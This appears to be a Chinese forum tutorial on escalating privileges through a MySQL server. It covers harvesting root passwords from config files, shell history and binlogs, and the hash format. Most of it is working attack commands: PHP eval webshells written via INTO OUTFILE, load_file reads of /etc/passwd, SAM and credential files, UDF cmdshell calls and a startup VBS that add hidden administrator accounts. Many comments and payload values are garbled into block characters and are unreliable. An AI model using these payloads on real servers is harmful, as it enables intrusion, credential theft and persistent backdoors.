

MySQL是一个中、小型关系型数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。MySQL是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并分为商业版本（MySQL Enterprise Edition和MySQL Cluster CGE）和GPL版本（MySQL Community Edition），开发版下载地址：<http://dev.mysql.com/downloads/>。

1.1Mysql提权必备条件

1.服务器安装Mysql数据库

利用Mysql提权的前提就是服务器安装了mysql数据库，且mysql的服务没有降权，Mysql数据库默认安装以系统权限继承的，并且需要获取Mysql root账号密码。

2.判断Mysql服务运行权限

对于Mysql数据库服务运行权限有很多方法，我这里主要介绍三种，一种是通过查看系统账号，也即使用“net user”命令查看系统当前账号，如果出现了mysql这类用户，以为着系统可能进行了降权，一般情况都不会降权。第二种方法就是看mysqld运行的Priority值，如图1所示。通过“”，如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联，一般情况下是不允许root等账号外链，外部直接连接意味着账号

图1查看Priority值来判断Mysqld服务运行权限

1.2Mysql密码获取与破解

1.获取网站数据库账号和密码

对于CMS系统，一定会有一个文件定义了数据库连接的用户和密码。例如以下代码：

```
$db['default']['hostname'] = 'localhost';

$db['default']['username'] = 'root';

$db['default']['password'] = '123456';

$db['default']['database'] = 'crm';
```

dedecms数据库安装的信息就是写在data/common.inc.php，Discuz的数据库信息就在config/config_global_default.php、config/config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录，配置文件名称一般会是conn.asp/php/asp/asp/jsp等。对于

对于Linux操作系统，除了上述方法获取root账号密码外，还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.5.56 log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令，那么会在binary log中原原本本的被还原出来，执行“mysqlbinlog binlog.000001”命令即可获取，如图2所示。

图2查看binlog日志

2.获取Mysql数据库user表

MYSQL所有设置默认都保存在“C:\Program Files\MySQL\MySQL Server 5.0\data\MySQL”中，也就是安装程序的数据目录下，有关用户一共有三个文件即user.frm、user.MYD和user.MYI，MySQL数据库用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。在有权限的情况下可以将User.frm、user.myd和User.myi三个文件下载到本地

3.Mysql密码查询

可以通过以下查询语句直接查询mysql数据库中的所有用户和密码，如图3所示。

```
select user,password from mysql.user;

select user,password from mysql.user where user ='root';
```

图3Mysql密码查询

4.MySQL密码加密算法

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示：password_str = concat('*',sha1(unhex(sha1(password))))，可以通过查询语句进行验证，查询结果如图4所示。

```
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
```

1.3Mysql获取webshell

1. 知道站点物理路径，网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。
2. 有足够大的权限，最好是root账号权限或者具备root权限的其它账号，可以用select user,password from mysql.user进行测试。

3. magic_quotes_gpc()=OFF。对于PHP magic_quotes_gpc=on的情况，可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作，数据也会正常显示。对于PHP magic_quotes_gpc=off的情况必须使用addslashes()对输入数据进行处理，但并不需要使用stripslashes()格式化输出，因为addslashes()并未将反斜杠一起写入数据库，只是帮助mysql完成了sql

```
Select  '<?php eval($_POST[cmd])?>' into outfile '■■■■';
```



```
and 1=2 union all select ■■■HEX■ into outfile '■■';
```

```
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
```

```
INSERT INTO `mysql`.`darkmoon` (`darkmoon1`) VALUES ('<?php @eval($_POST[pass]);?>');
```

```
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
```

```
DROP TABLE IF EXISTS `darkmoon`;
```

```
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
```

1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中，MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息，而union select 1,1,1,1,load_file('c:/boot.ini')来获取boot.ini文件的内容。

c:/boot.ini //■■■■■■

```
c:/windows/php.ini //php■■■■
```

```
c:/windows/my.ini //MYSQL■■■■■■■■■■■■■■■■■■■■■MYSQL■■■■■■
```

c:/winnt/php.ini

```
c:/winnt/my.ini
```

```
c:\mysql\data\mysql\user.MYD //■■■mysql.user■■■■■■■■■■
```

```
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //■■■■■■■■■■■■■■■■■■■■
```

c:\Program Files\Serv-U\ServUDaemon.ini

```
c:\windows\system32\inetsrv\MetaBase.xml ■■IIS■■■■■■■■
```

```
c:\windows\repair\sam //■■■WINDOWS■■■■■■■■■■
```

```
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0■■■■■serv-u■■■■■■■■■■
```

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif■■

```
//■■■pcAnywhere■■■■
```

c:\Program Files\Apache Group\Apache\conf\httpd.conf ■C:\apache\conf\httpd.conf //■■WINDOWS■■apache■■

c:/Resin-3.0.14/conf/resin.conf //■■jsp■■■■■■ resin■■■■■■.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf ■■linux■■■■■■JSP■■■■

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD ■■MYSQL■■■■■■■■■■

LUNIX/UNIX ■:

/usr/local/app/apache2/conf/httpd.conf //apache2■■■■■■■■

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //■■■■■■■■

/usr/local/app/php5/lib/php.ini //PHP■■■■■

/etc/sysconfig/iptables //■■■■■■■■■■■■■■■■

/etc/httpd/conf/httpd.conf // apache■■■■■

/etc/rsyncd.conf //■■■■■■■■■■

/etc/my.cnf //mysql■■■■■

/etc/redhat-release //■■■■■

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP■■■■■

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //■■■■■■■■

/etc/httpd/conf/httpd.conf■/usr/local/apche/conf/httpd.conf ■■linux APACHE■■■■■■■■■■

/usr/local/resin-3.0.22/conf/resin.conf ■■3.0.22■RESIN■■■■■■■■

/usr/local/resin-pro-3.0.22/conf/resin.conf ■■

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE■■■■■■■■

/etc/httpd/conf/httpd.conf■/usr/local/apche/conf /httpd.conf ■■linux APACHE■■■■■■■■■■

/usr/local/resin-3.0.22/conf/resin.conf ■■3.0.22■RESIN■■■■■■■■

/usr/local/resin-pro-3.0.22/conf/resin.conf ■■

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE■■■■■■■■

/etc/sysconfig/iptables ■■■■■■■■

load_file(char(47)) ■■■■FreeBSD,Sunos■■■■■

replace(load_file(0x2F65746332F706173737764),0x3c,0x20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

(2) 直接读取配置文件

SELECT LOAD_FILE('/etc/passwd')

SELECT LOAD_FILE('/etc/issues')


```
KillProcess ██████;

regread    █████;

regwrite   █████;

shut       ███,███,███;

about      ████████;
```

具体用户示例：

```
select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');
```

4.一些常见的Mysql命令

(1) 连接到mysql 服务器

```
mysql -h 192.168.0.1 -u root -pantian365.com antian365
```

(2) 查看所有数据库

```
show databases;
```

(3) 使用某个数据库

```
use testdatabase;
```

(4) 查看数据库中的所有表

```
show tables;
```

(5) 在test数据库下创建一个新的表

```
create table a (cmd text);
```

(6) 在表中插入内容添加用户命令

```
insert into a values ("set wshshell=createobject ("\"wscript.shell\"") ");
```

```
insert into a values ("a=wshshell.run ("\"cmd.exe /c net user 1 1/add\"",0) ");
```

```
insert into a values ("b=wshshell.run ("\"cmd.exe /c net localgroup administrators 1 /add\"",0) ");
```

(7) 查询a表中所有的数据

```
select * from a
```

(8) 导出数据到系统某个目录下

```
select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";
```

(9) 查询数据库数据路径

```
select @@datadir;
```

(10) 查看所有dir路径

```
SHOW VARIABLES WHERE Variable_Name LIKE "%dir"
```

(11) 查看插件路径

```
show variables like '%plugins%';
```

(12) 查询MYSQL安装路径

```
select @@basedir
```

(13) 常用内置函数

```
select system_user()  ■■■■■■

select current_user()  ■■■■■■

select user();  ■■■■

SELECT version()  ■■■■■■

SELECT database()  ■■■■■■■■■■

select @@version_compile_os  ■■■■■■■■■■

select now();  ■■■■■■
```

(14) 获取表结构

desc 表名 或者show columns from 表名

(15) 删除表

drop table <表名>

参考文章：

- <http://www.jb51.net/hack/41493.html>
- <http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/>
- <http://www.myhack58.com/Article/html/3/8/2016/75694.htm>
- <http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html>

点击收藏 | 2 关注 | 1

[上一篇：PHP函数usort是咋回事?还能...](#) [下一篇：MySQL数据库Root权限MOF...](#)

- 1. 0 条回复
 - 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)